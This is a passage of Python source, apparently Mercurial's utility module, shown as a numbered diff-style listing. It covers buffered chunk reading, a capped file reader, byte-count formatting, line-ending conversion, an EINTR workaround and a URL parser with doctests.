2626 | 2626 | # mutations and creates a new str for the remaining chunk in the |
|
2627 | 2627 | # queue. Our code below avoids this overhead. |
|
2628 | 2628 | |
|
2629 | 2629 | chunk = queue[0] |
|
2630 | 2630 | chunkl = len(chunk) |
|
2631 | 2631 | offset = self._chunkoffset |
|
2632 | 2632 | |
|
2633 | 2633 | # Use full chunk. |
|
2634 | 2634 | if offset == 0 and left >= chunkl: |
|
2635 | 2635 | left -= chunkl |
|
2636 | 2636 | queue.popleft() |
|
2637 | 2637 | buf.append(chunk) |
|
2638 | 2638 | # self._chunkoffset remains at 0. |
|
2639 | 2639 | continue |
|
2640 | 2640 | |
|
2641 | 2641 | chunkremaining = chunkl - offset |
|
2642 | 2642 | |
|
2643 | 2643 | # Use all of unconsumed part of chunk. |
|
2644 | 2644 | if left >= chunkremaining: |
|
2645 | 2645 | left -= chunkremaining |
|
2646 | 2646 | queue.popleft() |
|
2647 | 2647 | # offset == 0 is enabled by block above, so this won't merely |
|
2648 | 2648 | # copy via ``chunk[0:]``. |
|
2649 | 2649 | buf.append(chunk[offset:]) |
|
2650 | 2650 | self._chunkoffset = 0 |
|
2651 | 2651 | |
|
2652 | 2652 | # Partial chunk needed. |
|
2653 | 2653 | else: |
|
2654 | 2654 | buf.append(chunk[offset : offset + left]) |
|
2655 | 2655 | self._chunkoffset += left |
|
2656 | 2656 | left -= chunkremaining |
|
2657 | 2657 | |
|
2658 | 2658 | return b''.join(buf) |
|
2659 | 2659 | |
|
2660 | 2660 | |
|
2661 | 2661 | def filechunkiter(f, size=131072, limit=None): |
|
2662 | 2662 | """Create a generator that produces the data in the file size |
|
2663 | 2663 | (default 131072) bytes at a time, up to optional limit (default is |
|
2664 | 2664 | to read all data). Chunks may be less than size bytes if the |
|
2665 | 2665 | chunk is the last chunk in the file, or the file is a socket or |
|
2666 | 2666 | some other type of file that sometimes reads less data than is |
|
2667 | 2667 | requested.""" |
|
2668 | 2668 | assert size >= 0 |
|
2669 | 2669 | assert limit is None or limit >= 0 |
|
2670 | 2670 | while True: |
|
2671 | 2671 | if limit is None: |
|
2672 | 2672 | nbytes = size |
|
2673 | 2673 | else: |
|
2674 | 2674 | nbytes = min(limit, size) |
|
2675 | 2675 | s = nbytes and f.read(nbytes) |
|
2676 | 2676 | if not s: |
|
2677 | 2677 | break |
|
2678 | 2678 | if limit: |
|
2679 | 2679 | limit -= len(s) |
|
2680 | 2680 | yield s |
|
2681 | 2681 | |
|
2682 | 2682 | |
|
2683 | 2683 | class cappedreader(object): |
|
2684 | 2684 | """A file object proxy that allows reading up to N bytes. |
|
2685 | 2685 | |
|
2686 | 2686 | Given a source file object, instances of this type allow reading up to |
|
2687 | 2687 | N bytes from that source file object. Attempts to read past the allowed |
|
2688 | 2688 | limit are treated as EOF. |
|
2689 | 2689 | |
|
2690 | 2690 | It is assumed that I/O is not performed on the original file object |
|
2691 | 2691 | in addition to I/O that is performed by this instance. If there is, |
|
2692 | 2692 | state tracking will get out of sync and unexpected results will ensue. |
|
2693 | 2693 | """ |
|
2694 | 2694 | |
|
2695 | 2695 | def __init__(self, fh, limit): |
|
2696 | 2696 | """Allow reading up to <limit> bytes from <fh>.""" |
|
2697 | 2697 | self._fh = fh |
|
2698 | 2698 | self._left = limit |
|
2699 | 2699 | |
|
2700 | 2700 | def read(self, n=-1): |
|
2701 | 2701 | if not self._left: |
|
2702 | 2702 | return b'' |
|
2703 | 2703 | |
|
2704 | 2704 | if n < 0: |
|
2705 | 2705 | n = self._left |
|
2706 | 2706 | |
|
2707 | 2707 | data = self._fh.read(min(n, self._left)) |
|
2708 | 2708 | self._left -= len(data) |
|
2709 | 2709 | assert self._left >= 0 |
|
2710 | 2710 | |
|
2711 | 2711 | return data |
|
2712 | 2712 | |
|
2713 | 2713 | def readinto(self, b): |
|
2714 | 2714 | res = self.read(len(b)) |
|
2715 | 2715 | if res is None: |
|
2716 | 2716 | return None |
|
2717 | 2717 | |
|
2718 | 2718 | b[0 : len(res)] = res |
|
2719 | 2719 | return len(res) |
|
2720 | 2720 | |
|
2721 | 2721 | |
|
2722 | 2722 | def unitcountfn(*unittable): |
|
2723 | 2723 | '''return a function that renders a readable count of some quantity''' |
|
2724 | 2724 | |
|
2725 | 2725 | def go(count): |
|
2726 | 2726 | for multiplier, divisor, format in unittable: |
|
2727 | 2727 | if abs(count) >= divisor * multiplier: |
|
2728 | 2728 | return format % (count / float(divisor)) |
|
2729 | 2729 | return unittable[-1][2] % count |
|
2730 | 2730 | |
|
2731 | 2731 | return go |
|
2732 | 2732 | |
|
2733 | 2733 | |
|
2734 | 2734 | def processlinerange(fromline, toline): |
|
2735 | 2735 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2736 | 2736 | 0-based range. |
|
2737 | 2737 | |
|
2738 | 2738 | >>> processlinerange(10, 20) |
|
2739 | 2739 | (9, 20) |
|
2740 | 2740 | >>> processlinerange(2, 1) |
|
2741 | 2741 | Traceback (most recent call last): |
|
2742 | 2742 | ... |
|
2743 | 2743 | ParseError: line range must be positive |
|
2744 | 2744 | >>> processlinerange(0, 5) |
|
2745 | 2745 | Traceback (most recent call last): |
|
2746 | 2746 | ... |
|
2747 | 2747 | ParseError: fromline must be strictly positive |
|
2748 | 2748 | """ |
|
2749 | 2749 | if toline - fromline < 0: |
|
2750 | 2750 | raise error.ParseError(_(b"line range must be positive")) |
|
2751 | 2751 | if fromline < 1: |
|
2752 | 2752 | raise error.ParseError(_(b"fromline must be strictly positive")) |
|
2753 | 2753 | return fromline - 1, toline |
|
2754 | 2754 | |
|
2755 | 2755 | |
|
2756 | 2756 | bytecount = unitcountfn( |
|
2757 | 2757 | (100, 1 << 30, _(b'%.0f GB')), |
|
2758 | 2758 | (10, 1 << 30, _(b'%.1f GB')), |
|
2759 | 2759 | (1, 1 << 30, _(b'%.2f GB')), |
|
2760 | 2760 | (100, 1 << 20, _(b'%.0f MB')), |
|
2761 | 2761 | (10, 1 << 20, _(b'%.1f MB')), |
|
2762 | 2762 | (1, 1 << 20, _(b'%.2f MB')), |
|
2763 | 2763 | (100, 1 << 10, _(b'%.0f KB')), |
|
2764 | 2764 | (10, 1 << 10, _(b'%.1f KB')), |
|
2765 | 2765 | (1, 1 << 10, _(b'%.2f KB')), |
|
2766 | 2766 | (1, 1, _(b'%.0f bytes')), |
|
2767 | 2767 | ) |
|
2768 | 2768 | |
|
2769 | 2769 | |
|
2770 | 2770 | class transformingwriter(object): |
|
2771 | 2771 | """Writable file wrapper to transform data by function""" |
|
2772 | 2772 | |
|
2773 | 2773 | def __init__(self, fp, encode): |
|
2774 | 2774 | self._fp = fp |
|
2775 | 2775 | self._encode = encode |
|
2776 | 2776 | |
|
2777 | 2777 | def close(self): |
|
2778 | 2778 | self._fp.close() |
|
2779 | 2779 | |
|
2780 | 2780 | def flush(self): |
|
2781 | 2781 | self._fp.flush() |
|
2782 | 2782 | |
|
2783 | 2783 | def write(self, data): |
|
2784 | 2784 | return self._fp.write(self._encode(data)) |
|
2785 | 2785 | |
|
2786 | 2786 | |
|
2787 | 2787 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2788 | 2788 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2789 | 2789 | # stray CR is an error. |
|
2790 | 2790 | _eolre = remod.compile(br'\r*\n') |
|
2791 | 2791 | |
|
2792 | 2792 | |
|
2793 | 2793 | def tolf(s): |
|
2794 | 2794 | return _eolre.sub(b'\n', s) |
|
2795 | 2795 | |
|
2796 | 2796 | |
|
2797 | 2797 | def tocrlf(s): |
|
2798 | 2798 | return _eolre.sub(b'\r\n', s) |
|
2799 | 2799 | |
|
2800 | 2800 | |
|
2801 | 2801 | def _crlfwriter(fp): |
|
2802 | 2802 | return transformingwriter(fp, tocrlf) |
|
2803 | 2803 | |
|
2804 | 2804 | |
|
2805 | 2805 | if pycompat.oslinesep == b'\r\n': |
|
2806 | 2806 | tonativeeol = tocrlf |
|
2807 | 2807 | fromnativeeol = tolf |
|
2808 | 2808 | nativeeolwriter = _crlfwriter |
|
2809 | 2809 | else: |
|
2810 | 2810 | tonativeeol = pycompat.identity |
|
2811 | 2811 | fromnativeeol = pycompat.identity |
|
2812 | 2812 | nativeeolwriter = pycompat.identity |
|
2813 | 2813 | |
|
2814 | 2814 | if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
|
2815 | 2815 | 3, |
|
2816 | 2816 | 0, |
|
2817 | 2817 | ): |
|
2818 | 2818 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2819 | 2819 | # correctly. The following table shows what CPython version (and functions) |
|
2820 | 2820 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2821 | 2821 | # |
|
2822 | 2822 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2823 | 2823 | # -------------------------------------------------- |
|
2824 | 2824 | # fp.__iter__ | buggy | buggy | okay |
|
2825 | 2825 | # fp.read* | buggy | okay [1] | okay |
|
2826 | 2826 | # |
|
2827 | 2827 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2828 | 2828 | # |
|
2829 | 2829 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2830 | 2830 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2831 | 2831 | # |
|
2832 | 2832 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2833 | 2833 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2834 | 2834 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2835 | 2835 | # fp.__iter__ but not other fp.read* methods. |
|
2836 | 2836 | # |
|
2837 | 2837 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2838 | 2838 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2839 | 2839 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2840 | 2840 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2841 | 2841 | # to minimize the performance impact. |
|
2842 | 2842 | if sys.version_info >= (2, 7, 4): |
|
2843 | 2843 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2844 | 2844 | def _safeiterfile(fp): |
|
2845 | 2845 | return iter(fp.readline, b'') |
|
2846 | 2846 | |
|
2847 | 2847 | else: |
|
2848 | 2848 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2849 | 2849 | # note: this may block longer than necessary because of bufsize. |
|
2850 | 2850 | def _safeiterfile(fp, bufsize=4096): |
|
2851 | 2851 | fd = fp.fileno() |
|
2852 | 2852 | line = b'' |
|
2853 | 2853 | while True: |
|
2854 | 2854 | try: |
|
2855 | 2855 | buf = os.read(fd, bufsize) |
|
2856 | 2856 | except OSError as ex: |
|
2857 | 2857 | # os.read only raises EINTR before any data is read |
|
2858 | 2858 | if ex.errno == errno.EINTR: |
|
2859 | 2859 | continue |
|
2860 | 2860 | else: |
|
2861 | 2861 | raise |
|
2862 | 2862 | line += buf |
|
2863 | 2863 | if b'\n' in buf: |
|
2864 | 2864 | splitted = line.splitlines(True) |
|
2865 | 2865 | line = b'' |
|
2866 | 2866 | for l in splitted: |
|
2867 | 2867 | if l[-1] == b'\n': |
|
2868 | 2868 | yield l |
|
2869 | 2869 | else: |
|
2870 | 2870 | line = l |
|
2871 | 2871 | if not buf: |
|
2872 | 2872 | break |
|
2873 | 2873 | if line: |
|
2874 | 2874 | yield line |
|
2875 | 2875 | |
|
2876 | 2876 | def iterfile(fp): |
|
2877 | 2877 | fastpath = True |
|
2878 | 2878 | if type(fp) is file: |
|
2879 | 2879 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2880 | 2880 | if fastpath: |
|
2881 | 2881 | return fp |
|
2882 | 2882 | else: |
|
2883 | 2883 | return _safeiterfile(fp) |
|
2884 | 2884 | |
|
2885 | 2885 | |
|
2886 | 2886 | else: |
|
2887 | 2887 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2888 | 2888 | def iterfile(fp): |
|
2889 | 2889 | return fp |
|
2890 | 2890 | |
|
2891 | 2891 | |
|
2892 | 2892 | def iterlines(iterator): |
|
2893 | 2893 | for chunk in iterator: |
|
2894 | 2894 | for line in chunk.splitlines(): |
|
2895 | 2895 | yield line |
|
2896 | 2896 | |
|
2897 | 2897 | |
|
2898 | 2898 | def expandpath(path): |
|
2899 | 2899 | return os.path.expanduser(os.path.expandvars(path)) |
|
2900 | 2900 | |
|
2901 | 2901 | |
|
2902 | 2902 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2903 | 2903 | """Return the result of interpolating items in the mapping into string s. |
|
2904 | 2904 | |
|
2905 | 2905 | prefix is a single character string, or a two character string with |
|
2906 | 2906 | a backslash as the first character if the prefix needs to be escaped in |
|
2907 | 2907 | a regular expression. |
|
2908 | 2908 | |
|
2909 | 2909 | fn is an optional function that will be applied to the replacement text |
|
2910 | 2910 | just before replacement. |
|
2911 | 2911 | |
|
2912 | 2912 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2913 | 2913 | its escaping. |
|
2914 | 2914 | """ |
|
2915 | 2915 | fn = fn or (lambda s: s) |
|
2916 | 2916 | patterns = b'|'.join(mapping.keys()) |
|
2917 | 2917 | if escape_prefix: |
|
2918 | 2918 | patterns += b'|' + prefix |
|
2919 | 2919 | if len(prefix) > 1: |
|
2920 | 2920 | prefix_char = prefix[1:] |
|
2921 | 2921 | else: |
|
2922 | 2922 | prefix_char = prefix |
|
2923 | 2923 | mapping[prefix_char] = prefix_char |
|
2924 | 2924 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
2925 | 2925 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2926 | 2926 | |
|
2927 | 2927 | |
|
2928 | 2928 | def getport(port): |
|
2929 | 2929 | """Return the port for a given network service. |
|
2930 | 2930 | |
|
2931 | 2931 | If port is an integer, it's returned as is. If it's a string, it's |
|
2932 | 2932 | looked up using socket.getservbyname(). If there's no matching |
|
2933 | 2933 | service, error.Abort is raised. |
|
2934 | 2934 | """ |
|
2935 | 2935 | try: |
|
2936 | 2936 | return int(port) |
|
2937 | 2937 | except ValueError: |
|
2938 | 2938 | pass |
|
2939 | 2939 | |
|
2940 | 2940 | try: |
|
2941 | 2941 | return socket.getservbyname(pycompat.sysstr(port)) |
|
2942 | 2942 | except socket.error: |
|
2943 | 2943 | raise error.Abort( |
|
2944 | 2944 | _(b"no port number associated with service '%s'") % port |
|
2945 | 2945 | ) |
|
2946 | 2946 | |
|
2947 | 2947 | |
|
2948 | 2948 | class url(object): |
|
2949 | 2949 | r"""Reliable URL parser. |
|
2950 | 2950 | |
|
2951 | 2951 | This parses URLs and provides attributes for the following |
|
2952 | 2952 | components: |
|
2953 | 2953 | |
|
2954 | 2954 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2955 | 2955 | |
|
2956 | 2956 | Missing components are set to None. The only exception is |
|
2957 | 2957 | fragment, which is set to '' if present but empty. |
|
2958 | 2958 | |
|
2959 | 2959 | If parsefragment is False, fragment is included in query. If |
|
2960 | 2960 | parsequery is False, query is included in path. If both are |
|
2961 | 2961 | False, both fragment and query are included in path. |
|
2962 | 2962 | |
|
2963 | 2963 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2964 | 2964 | |
|
2965 | 2965 | Note that for backward compatibility reasons, bundle URLs do not |
|
2966 | 2966 | take host names. That means 'bundle://../' has a path of '../'. |
|
2967 | 2967 | |
|
2968 | 2968 | Examples: |
|
2969 | 2969 | |
|
2970 | 2970 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
2971 | 2971 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2972 | 2972 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
2973 | 2973 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2974 | 2974 | >>> url(b'file:///home/joe/repo') |
|
2975 | 2975 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2976 | 2976 | >>> url(b'file:///c:/temp/foo/') |
|
2977 | 2977 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2978 | 2978 | >>> url(b'bundle:foo') |
|
2979 | 2979 | <url scheme: 'bundle', path: 'foo'> |
|
2980 | 2980 | >>> url(b'bundle://../foo') |
|
2981 | 2981 | <url scheme: 'bundle', path: '../foo'> |
|
2982 | 2982 | >>> url(br'c:\foo\bar') |
|
2983 | 2983 | <url path: 'c:\\foo\\bar'> |
|
2984 | 2984 | >>> url(br'\\blah\blah\blah') |
|
2985 | 2985 | <url path: '\\\\blah\\blah\\blah'> |
|
2986 | 2986 | >>> url(br'\\blah\blah\blah#baz') |
|
2987 | 2987 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2988 | 2988 | >>> url(br'file:///C:\users\me') |
|
2989 | 2989 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2990 | 2990 | |
|
2991 | 2991 | Authentication credentials: |
|
2992 | 2992 | |
|
2993 | 2993 | >>> url(b'ssh://joe:xyz@x/repo') |
|
2994 | 2994 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2995 | 2995 | >>> url(b'ssh://joe@x/repo') |
|
2996 | 2996 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2997 | 2997 | |
|
2998 | 2998 | Query strings and fragments: |
|
2999 | 2999 | |
|
3000 | 3000 | >>> url(b'http://host/a?b#c') |
|
3001 | 3001 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
3002 | 3002 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
3003 | 3003 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
3004 | 3004 | |
|
3005 | 3005 | Empty path: |
|
3006 | 3006 | |
|
3007 | 3007 | >>> url(b'') |
|
3008 | 3008 | <url path: ''> |
|
3009 | 3009 | >>> url(b'#a') |
|
3010 | 3010 | <url path: '', fragment: 'a'> |
|
3011 | 3011 | >>> url(b'http://host/') |
|
3012 | 3012 | <url scheme: 'http', host: 'host', path: ''> |
|
3013 | 3013 | >>> url(b'http://host/#a') |
|
3014 | 3014 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
3015 | 3015 | |
|
3016 | 3016 | Only scheme: |
|
3017 | 3017 | |
|
3018 | 3018 | >>> url(b'http:') |
|
3019 | 3019 | <url scheme: 'http'> |
|
3020 | 3020 | """ |
|
3021 | 3021 | |
|
3022 | 3022 | _safechars = b"!~*'()+" |
|
3023 | 3023 | _safepchars = b"/!~*'()+:\\" |
|
3024 | 3024 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
3025 | 3025 | |
|
3026 | 3026 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
3027 | 3027 | # We slowly chomp away at path until we have only the path left |
|
3028 | 3028 | self.scheme = self.user = self.passwd = self.host = None |
|
3029 | 3029 | self.port = self.path = self.query = self.fragment = None |
|
3030 | 3030 | self._localpath = True |
|
3031 | 3031 | self._hostport = b'' |
|
3032 | 3032 | self._origpath = path |
|
3033 | 3033 | |
|
3034 | 3034 | if parsefragment and b'#' in path: |
|
3035 | 3035 | path, self.fragment = path.split(b'#', 1) |
|
3036 | 3036 | |
|
3037 | 3037 | # special case for Windows drive letters and UNC paths |
|
3038 | 3038 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
3039 | 3039 | self.path = path |
|
3040 | 3040 | return |
|
3041 | 3041 | |
|
3042 | 3042 | # For compatibility reasons, we can't handle bundle paths as |
|
3043 | 3043 | # normal URLS |
|
3044 | 3044 | if path.startswith(b'bundle:'): |
|
3045 | 3045 | self.scheme = b'bundle' |
|
3046 | 3046 | path = path[7:] |
|
3047 | 3047 | if path.startswith(b'//'): |
|
3048 | 3048 | path = path[2:] |
|
3049 | 3049 | self.path = path |
|
3050 | 3050 | return |
|
3051 | 3051 | |
|
3052 | 3052 | if self._matchscheme(path): |
|
3053 | 3053 | parts = path.split(b':', 1) |
|
3054 | 3054 | if parts[0]: |
|
3055 | 3055 | self.scheme, path = parts |
|
3056 | 3056 | self._localpath = False |
|
3057 | 3057 | |
|
3058 | 3058 | if not path: |
|
3059 | 3059 | path = None |
|
3060 | 3060 | if self._localpath: |
|
3061 | 3061 | self.path = b'' |
|
3062 | 3062 | return |
|
3063 | 3063 | else: |
|
3064 | 3064 | if self._localpath: |
|
3065 | 3065 | self.path = path |
|
3066 | 3066 | return |
|
3067 | 3067 | |
|
3068 | 3068 | if parsequery and b'?' in path: |
|
3069 | 3069 | path, self.query = path.split(b'?', 1) |
|
3070 | 3070 | if not path: |
|
3071 | 3071 | path = None |
|
3072 | 3072 | if not self.query: |
|
3073 | 3073 | self.query = None |
|
3074 | 3074 | |
|
3075 | 3075 | # // is required to specify a host/authority |
|
3076 | 3076 | if path and path.startswith(b'//'): |
|
3077 | 3077 | parts = path[2:].split(b'/', 1) |
|
3078 | 3078 | if len(parts) > 1: |
|
3079 | 3079 | self.host, path = parts |
|
3080 | 3080 | else: |
|
3081 | 3081 | self.host = parts[0] |
|
3082 | 3082 | path = None |
|
3083 | 3083 | if not self.host: |
|
3084 | 3084 | self.host = None |
|
3085 | 3085 | # path of file:///d is /d |
|
3086 | 3086 | # path of file:///d:/ is d:/, not /d:/ |
|
3087 | 3087 | if path and not hasdriveletter(path): |
|
3088 | 3088 | path = b'/' + path |
|
3089 | 3089 | |
|
3090 | 3090 | if self.host and b'@' in self.host: |
|
3091 | 3091 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
3092 | 3092 | if b':' in self.user: |
|
3093 | 3093 | self.user, self.passwd = self.user.split(b':', 1) |
|
3094 | 3094 | if not self.host: |
|
3095 | 3095 | self.host = None |
|
3096 | 3096 | |
|
3097 | 3097 | # Don't split on colons in IPv6 addresses without ports |
|
3098 | 3098 | if ( |
|
3099 | 3099 | self.host |
|
3100 | 3100 | and b':' in self.host |
|
3101 | 3101 | and not ( |
|
3102 | 3102 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
3103 | 3103 | ) |
|
3104 | 3104 | ): |
|
3105 | 3105 | self._hostport = self.host |
|
3106 | 3106 | self.host, self.port = self.host.rsplit(b':', 1) |
|
3107 | 3107 | if not self.host: |
|
3108 | 3108 | self.host = None |
|
3109 | 3109 | |
|
3110 | 3110 | if ( |
|
3111 | 3111 | self.host |
|
3112 | 3112 | and self.scheme == b'file' |
|
3113 | 3113 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
3114 | 3114 | ): |
|
3115 | 3115 | raise error.Abort( |
|
3116 | 3116 | _(b'file:// URLs can only refer to localhost') |
|
3117 | 3117 | ) |
|
3118 | 3118 | |
|
3119 | 3119 | self.path = path |
|
3120 | 3120 | |
|
3121 | 3121 | # leave the query string escaped |
|
3122 | 3122 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
3123 | 3123 | v = getattr(self, a) |
|
3124 | 3124 | if v is not None: |
|
3125 | 3125 | setattr(self, a, urlreq.unquote(v)) |
|
3126 | 3126 | |
|
3127 | 3127 | @encoding.strmethod |
|
3128 | 3128 | def __repr__(self): |
|
3129 | 3129 | attrs = [] |
|
3130 | 3130 | for a in ( |
|
3131 | 3131 | b'scheme', |
|
3132 | 3132 | b'user', |
|
3133 | 3133 | b'passwd', |
|
3134 | 3134 | b'host', |
|
3135 | 3135 | b'port', |
|
3136 | 3136 | b'path', |
|
3137 | 3137 | b'query', |
|
3138 | 3138 | b'fragment', |
|
3139 | 3139 | ): |
|
3140 | 3140 | v = getattr(self, a) |
|
3141 | 3141 | if v is not None: |
|
3142 | 3142 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
3143 | 3143 | return b'<url %s>' % b', '.join(attrs) |
|
3144 | 3144 | |
|
3145 | 3145 | def __bytes__(self): |
|
3146 | 3146 | r"""Join the URL's components back into a URL string. |
|
3147 | 3147 | |
|
3148 | 3148 | Examples: |
|
3149 | 3149 | |
|
3150 | 3150 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
3151 | 3151 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
3152 | 3152 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
3153 | 3153 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
3154 | 3154 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
3155 | 3155 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
3156 | 3156 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
3157 | 3157 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
3158 | 3158 | >>> bytes(url(b'http://localhost:80//')) |
|
3159 | 3159 | 'http://localhost:80//' |
|
3160 | 3160 | >>> bytes(url(b'http://localhost:80/')) |
|
3161 | 3161 | 'http://localhost:80/' |
|
3162 | 3162 | >>> bytes(url(b'http://localhost:80')) |
|
3163 | 3163 | 'http://localhost:80/' |
|
3164 | 3164 | >>> bytes(url(b'bundle:foo')) |
|
3165 | 3165 | 'bundle:foo' |
|
3166 | 3166 | >>> bytes(url(b'bundle://../foo')) |
|
3167 | 3167 | 'bundle:../foo' |
|
3168 | 3168 | >>> bytes(url(b'path')) |
|
3169 | 3169 | 'path' |
|
3170 | 3170 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
3171 | 3171 | 'file:///tmp/foo/bar' |
|
3172 | 3172 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
3173 | 3173 | 'file:///c:/tmp/foo/bar' |
|
3174 | 3174 | >>> print(url(br'bundle:foo\bar')) |
|
3175 | 3175 | bundle:foo\bar |
|
3176 | 3176 | >>> print(url(br'file:///D:\data\hg')) |
|
3177 | 3177 | file:///D:\data\hg |
|
3178 | 3178 | """ |
|
3179 | 3179 | if self._localpath: |
|
3180 | 3180 | s = self.path |
|
3181 | 3181 | if self.scheme == b'bundle': |
|
3182 | 3182 | s = b'bundle:' + s |
|
3183 | 3183 | if self.fragment: |
|
3184 | 3184 | s += b'#' + self.fragment |
|
3185 | 3185 | return s |
|
3186 | 3186 | |
|
3187 | 3187 | s = self.scheme + b':' |
|
3188 | 3188 | if self.user or self.passwd or self.host: |
|
3189 | 3189 | s += b'//' |
|
3190 | 3190 | elif self.scheme and ( |
|
3191 | 3191 | not self.path |
|
3192 | 3192 | or self.path.startswith(b'/') |
|
3193 | 3193 | or hasdriveletter(self.path) |
|
3194 | 3194 | ): |
|
3195 | 3195 | s += b'//' |
|
3196 | 3196 | if hasdriveletter(self.path): |
|
3197 | 3197 | s += b'/' |
|
3198 | 3198 | if self.user: |
|
3199 | 3199 | s += urlreq.quote(self.user, safe=self._safechars) |
|
3200 | 3200 | if self.passwd: |
|
3201 | 3201 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
3202 | 3202 | if self.user or self.passwd: |
|
3203 | 3203 | s += b'@' |
|
3204 | 3204 | if self.host: |
|
3205 | 3205 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
3206 | 3206 | s += urlreq.quote(self.host) |
|
3207 | 3207 | else: |
|
3208 | 3208 | s += self.host |
|
3209 | 3209 | if self.port: |
|
3210 | 3210 | s += b':' + urlreq.quote(self.port) |
|
3211 | 3211 | if self.host: |
|
3212 | 3212 | s += b'/' |
|
3213 | 3213 | if self.path: |
|
3214 | 3214 | # TODO: similar to the query string, we should not unescape the |
|
3215 | 3215 | # path when we store it, the path might contain '%2f' = '/', |
|
3216 | 3216 | # which we should *not* escape. |
|
3217 | 3217 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
3218 | 3218 | if self.query: |
|
3219 | 3219 | # we store the query in escaped form. |
|
3220 | 3220 | s += b'?' + self.query |
|
3221 | 3221 | if self.fragment is not None: |
|
3222 | 3222 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
3223 | 3223 | return s |
|
3224 | 3224 | |
|
3225 | 3225 | __str__ = encoding.strmethod(__bytes__) |
|
3226 | 3226 | |
|
3227 | 3227 | def authinfo(self): |
|
3228 | 3228 | user, passwd = self.user, self.passwd |
|
3229 | 3229 | try: |
|
3230 | 3230 | self.user, self.passwd = None, None |
|
3231 | 3231 | s = bytes(self) |
|
3232 | 3232 | finally: |
|
3233 | 3233 | self.user, self.passwd = user, passwd |
|
3234 | 3234 | if not self.user: |
|
3235 | 3235 | return (s, None) |
|
3236 | 3236 | # authinfo[1] is passed to urllib2 password manager, and its |
|
3237 | 3237 | # URIs must not contain credentials. The host is passed in the |
|
3238 | 3238 | # URIs list because Python < 2.4.3 uses only that to search for |
|
3239 | 3239 | # a password. |
|
3240 | 3240 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
3241 | 3241 | |
|
3242 | 3242 | def isabs(self): |
|
3243 | 3243 | if self.scheme and self.scheme != b'file': |
|
3244 | 3244 | return True # remote URL |
|
3245 | 3245 | if hasdriveletter(self.path): |
|
3246 | 3246 | return True # absolute for our purposes - can't be joined() |
|
3247 | 3247 | if self.path.startswith(br'\\'): |
|
3248 | 3248 | return True # Windows UNC path |
|
3249 | 3249 | if self.path.startswith(b'/'): |
|
3250 | 3250 | return True # POSIX-style |
|
3251 | 3251 | return False |
|
3252 | 3252 | |
|
3253 | 3253 | def localpath(self): |
|
3254 | 3254 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
3255 | 3255 | path = self.path or b'/' |
|
3256 | 3256 | # For Windows, we need to promote hosts containing drive |
|
